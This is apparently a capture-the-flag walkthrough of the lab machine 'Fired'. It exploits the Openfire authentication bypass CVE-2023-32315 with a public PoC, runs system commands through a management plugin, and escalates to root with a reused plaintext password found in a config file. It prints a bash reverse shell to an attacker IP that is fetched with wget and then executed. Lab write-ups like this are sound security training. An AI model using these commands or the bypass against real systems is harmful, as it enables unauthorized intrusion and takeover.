Fired

fired_cover

Yet another box I did before my second OSCP exam, Fired is an intermediate Linux box that teaches how to exploit an authentication bypass vulnerability and how to find juicy information in files you have access to.

Attacker IP: 192.168.45.229

Target IP: 192.168.145.96

Enumeration

Let’s open up with an Nmap scan.

$ nmap -A -T4 -Pn -oN nmap 192.168.145.96

Nmap scan report for 192.168.145.96
Host is up (0.049s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE             VERSION
22/tcp   open  ssh                 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 51:56:a7:34:16:8e:3d:47:17:c8:96:d5:e6:94:46:46 (RSA)
|   256 fe:76:e3:4c:2b:f6:f5:21:a2:4d:9f:59:52:39:b9:16 (ECDSA)
|_  256 2c:dd:62:7d:d6:1c:f4:fd:a1:e4:c8:aa:11:ae:d6:1f (ED25519)
9090/tcp open  hadoop-tasktracker  Apache Hadoop
|_http-title: Site doesn't have a title (text/html).
| hadoop-tasktracker-info:
|_  Logs: jive-ibtn jive-btn-gradient
| hadoop-datanode-info:
|_  Logs: jive-ibtn jive-btn-gradient
9091/tcp open  ssl/hadoop-datanode Apache Hadoop
| hadoop-tasktracker-info:
|_  Logs: jive-ibtn jive-btn-gradient
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=localhost
| Subject Alternative Name: DNS:localhost, DNS:*.localhost
| Not valid before: 2024-06-28T07:02:39
|_Not valid after:  2029-06-27T07:02:39
| hadoop-datanode-info:
|_  Logs: jive-ibtn jive-btn-gradient
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

We have only three ports open, SSH, and two web server ports. We should check out the web server first.

Port 9090/9091: OpenFire

If we go to either of the two ports, we will be presented with a login screen for Openfire, an open source instant messaging and groupchat server for XMPP, according to Wikipedia. It’s always worth it to try default credentials like admin:admin to see if we can get a easy way in, but it doesn’t work here. openfire_login However, we can see that the version number of 4.7.3 is displayed at the bottom of the login prompt box. After some quick research, you would find that this version is vulnerable to CVE-2023-32315, a path traversal vulnerability that allows unauthenticated users to access pages restricted to admins. The vulnerability is not fixed until version 4.7.5, so there is good chance that the instance running on the target is also vulnerable.

Initial Foothold

I found this PoC script on Github (link). This PoC script work by first getting the CSRF token from the login.jsp page we were presented with, then it adds a new admin user with the pages it has access. exploit_segment exploit_segment2

Use the following command and the user hugme:HugmeNOW will be added as an admin. Pay attention that there should be no forward slash at the end of the URL, or else you wouldn’t be able to get this exploit to work.

$ python CVE-2023-32315.py -u http://192.168.145.96:9090

exploit_work

If we type in hugme:HugmeNOW as the username and password, we would be able to log into the admin console. openfire_console

On the plugins tab, we can find a password for the Management Tool plugin. The Management tool can be found under Server->Server Settings->Management Tool plugin_password find_management_tool

The management tool is locked behind a password check. According to the description we found earlier, if we type in 123, we would login successfully. management_tool_login management_tool_login_success

If we select system command in the drop-down menu on the top-right corner, we would be presented with a page that allows us to execute system commands. system_command command_execute

It’s time to get ourselves a shell session. Directly executing reverse shell inside the management tool won’t work. We have to put our reverse shell payload into a script and transfer it onto the target before we are able to execute it and get a shell back.

To do so run the following commands on you machine:

$ echo "/bin/bash -i >& /dev/tcp/192.168.45.229/9999 0>&1" > revshell.sh
$ python -m http.server

# On a separate terminal, set up listener:
$ rlwrap nc -nvlp 9999

Then, in the management console, run:

$ wget http://192.168.45.229:8000/revshell.sh -O /tmp/revshell.sh
$ bash /tmp/revshell.sh

Back on our listener, we receives a shell session as openfire, and we can find the local.txt in /home/openfire local

Privilege Escalation

The following command will give us a list of directories that contains “openfire”, which help us find important files to the service that may contain credentials.

$ find / -name "*openfire*" -type d 2>/dev/null

find_dir_output The output is quite substantial, but these two following directories are the ones that are likely to contain interesting files that we haven’t explored before:

  • /usr/share/openfire
  • /var/lib/openfire
  • /etc/openfire

We can run the following command to find the case-insensitive string “password” in files in each of those directories.

$ grep -Ri 'password' .

The following highlighted line in the output of this command ran in /usr/share/openfire looks quite like a plaintext password exposed in a config file. Let’s transfer that particular file onto our local system to take a closer look. config_file

This file looks like a SQL script. We can see here that a smtp user configuration is being created. OpenFireAtEveryone seems to be the password for the user named root.

We should try this set of credentials elsewhere. We can start with, say, SSH?

$ ssh root@192.168.145.96

Bam! We get root. This is what happens when you reuse passwords. proof

Takeaways

Credentials are often stored in insecure fashions. Not only do people often treat a text file on the desktop as the password manager, they also do it when it comes to developing web applications. Often, you can find cleartext credentials stored in config files and sometimes hardcoded into the application itself. This presents a security risk if that password is leaked either on public repositories or if attacker gain access to it after gaining initial foothold on the system. Privilege escalation via leak credentials is the cleanest way to do it. There’s no need to transfer any external payloads or exploit script, and you automatically get persistence if the password doesn’t get changed.

Credentials in config files are pretty hard to secure. There are techniques such as putting credentials in environment variables and using tools such as HashiCorp Vault to securely store secrets. At the end of the day, it also comes down to having unique passwords to further compromises caused by credential stuffing.

#Offsec PG #Medium #Linux